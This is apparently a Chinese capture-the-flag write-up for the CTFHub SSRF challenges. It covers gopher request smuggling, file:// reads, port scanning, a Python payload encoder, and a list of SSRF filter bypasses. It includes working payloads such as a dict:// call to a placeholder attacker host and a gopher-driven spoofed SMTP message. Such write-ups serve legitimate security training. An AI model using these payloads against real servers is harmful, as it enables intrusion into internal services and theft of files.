ctfhub的ssrf部分复现

CTFhub ssrf

前置知识

Gopher协议

gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。

gopher的协议格式如下:

1
2
3
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port>默认为70
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码

但是gopher协议在各个语言中是有使用限制的。

语言 支持情况
PHP –wite-curlwrappers且php版本至少为5.3
Java 小于JDK1.7
Curl 低版本不支持
Perl 支持
ASP.NET 小于版本3

Gopher协议传递GET请求

gopher在发送请求时候,必须进行URL编码

我本地准备PHP代码如下

1
2
3
<?php
echo $_GET['name'];
?>

http访问并抓包

get型的http数据包如下

1
2
GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2

直接在Burpsuite 中将数据进行编码(比较方便)

编码的时候在最后一定要补%0d%0a代表结束。

Burpsuite编码后

1
%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32

结尾没有%0d%0a我们手动添加一下。

转换为gopher

1
curl gopher://10.211.55.2:80/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a

Gopher协议传递POST请求

修改本地代码如下

1
2
3
<?php
echo $_POST['name'];
?>

我们用gopher协议传递POST请求时,必须要包含这四个,还有一个post传参。

转换为gopher

1
curl gopher://10.211.55.2:80/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a

ctfhub ssrf的内网访问

一进去页面是空白的,不过根据题目提示:

1
尝试访问位于127.0.0.1的flag.php吧

同时我们可以发现url参数是:

1
http://challenge-3838ac66a8862c7b.sandbox.ctfhub.com:10800/?url=

所以在url参数后面直接输入:

1
127.0.0.1/flag.php

就得到了flag.

ctfhub ssrf的伪协议读取文件

老规矩,题目里有提示:

1
尝试去读取一下Web目录下的flag.php吧

同时题目又告诉我们是用伪协议读取web目录下的文件:

而web目录下的文件一般放在/var/www/html下:

所以我们就用最简单的file://协议进行读取,payload如下:

1
?url=file:///var/www/html/flag.php

页面显示???,直接f12查看源代码就得到了flag。

ctfhub ssrf的端口扫描

题目提示让我们扫描8000到9000端口的,所以在这里就用burpsuite来爆破一下,在参数里随便写一个端口,转到burp

1
?url=127.0.0.1:8727

设置增量为1,范围是8000到9000,如果觉得爆破太慢,可以在选项里调线程数,根据长度找到我们要找的端口,在浏览器进行访问就得到了flag

ctfhub ssrf的POST请求

302跳转的302是状态码

表示请求的网页自请求的网页移动到了新的位置,搜索引擎索引中保存原来的URL

这里可以通过访问302.php,并且传参gopher来伪造本地访问

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议

可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。

那么Gopher协议需要如何构造妮?

其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码

我们来看看Gopher协议的基本协议格式

gopher://:/_后接TCP数据流

题目页面空白,尝试访问127.0.0.1/flag.php

有一个搜索框,f12查看源码发现:

发现了key,将其中的值放到输入框,按下回车

显示只能从127.0.0.1访问,用file://伪协议访问一下index.php和flag.php,在f12里发现源码

index.php,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!--?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);-->

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?-->

一个比较好的思路:目前已知flag.php含有奇怪字符key,index.php能够接受url传参,并利用curl功能访问url传参的内容。那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包里是flag.php的key。

我们需要构造:?url=127.0.0.1:80/index.php?url=(利用gopher协议传入post请求)

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=e297679320b3831c12537c0a981d5055

注意:在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码

在第一次编码后的数据中,将%0A全部手动替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

可以直接使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e297679320b3831c12537c0a981d5055
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 因为是GET请求所以要进行两次url编码

将跑出来的值在index.php下提交给url即可(因为index.php源码里说到可以url传参)

ctfhub ssrf的上传文件

题目提示:

1
这次需要上传一个文件到flag.php

所以用file://伪协议访问flag.php

看一下题目源码:

1
2
3
4
5
6
7
8
9
10
<!--?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] -->

提示我们只允许从内网访问,否则会被拦截,同时我们发现前端并没有提交按钮,所以需要在前端代码中添加以下代码:

1
<input type="submit" name="submit">

这样就搞定了

随便上传一个文件,得到如下图:

只允许从本地访问,抓包

1
2
我们把host那里改成127.0.0.1:80
,然后复制,然后就是老操作了,url编码一次,把%0A换成%0D%0A,然后再url编码两次:

然后进行gopher协议的使用,就可以成功得到flag:

ctfhub ssrf的URLbypass

这里就烁一下关于ssrf的绕过方式

1.攻击本地

1
2
http://127.0.0.1:80
http://localhost:22

2.利用[::]

http://[::]:80/ =>http://127.0.0.1

不加端口的话是http://[::]/

3.利用@

这里就是在指定的网址后加@+127.0.0.1

4.利用短域名

http://dwz.cn/11SMa >>> http://127.0.0.1

下面两个都是直接访问本地127.0.0.1/flag.php

http://surl-2.cn/0nPI

http://dwz-1.ink/0ndbh

5.利用特殊域名

原理是DNS解析

http://127.0.0.1.xip.io/

http://www.owasp.org.127.0.0.1.xip.io/

6.利用DNS解析

在域名上设置A记录,指向127.0.0.1

7.利用上传

修改”type=file”为”type=url”

比如:上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

8.利用句号

127。0。0。1=>127.0.0.1

9.进行进制转换

可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x

10.利用特殊地址

http://0/

11.利用协议

Dict://

dict://@:/d:

ssrf.php?url=dict://attacker:11111/

SFTP://

ssrf.php?url=sftp://example.com:11111/

TFTP://

ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET

LDAP://

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

题目

题目有一个提示说是:

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

直接构造payload:

1
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

直接就得到了flag。

ctfhub ssrf的数字IP Bypass

题目给了hint

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

告诉我们不能用十进制了

![](ctfhubssrf/ctfhubssrf的数字IP bypasss接替截图.png)

因为不能用十进制,所以我们试一下十六进制可不可以,127.0.0.1转换为十六进制是0x7F000001,访问就拿到了flag。

ctfhub ssrf的302by pass

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

还是先试一下127.0.0.1/flag.php,访问一下,返回如下:

![](ctfhubssrf/ctfhubssrf的302 bypass解题截图.png)

接下来就是试一试URL bypass提到的绕过方式吗,发现直接替换成localhost就成功了

1
?url=localhost/flag.php

ctfhub ssrf的DNS重绑定

进来就先试

1
?url=127.0.0.1/flag.php

使用题目所给链接。到DNS重绑定的一个工具里

将那个7f000001.7f000002.rbndr.us替换127.0.0.1构造payload

1
?url=7f000001.7f000002.rbndr.us/flag.php

成功了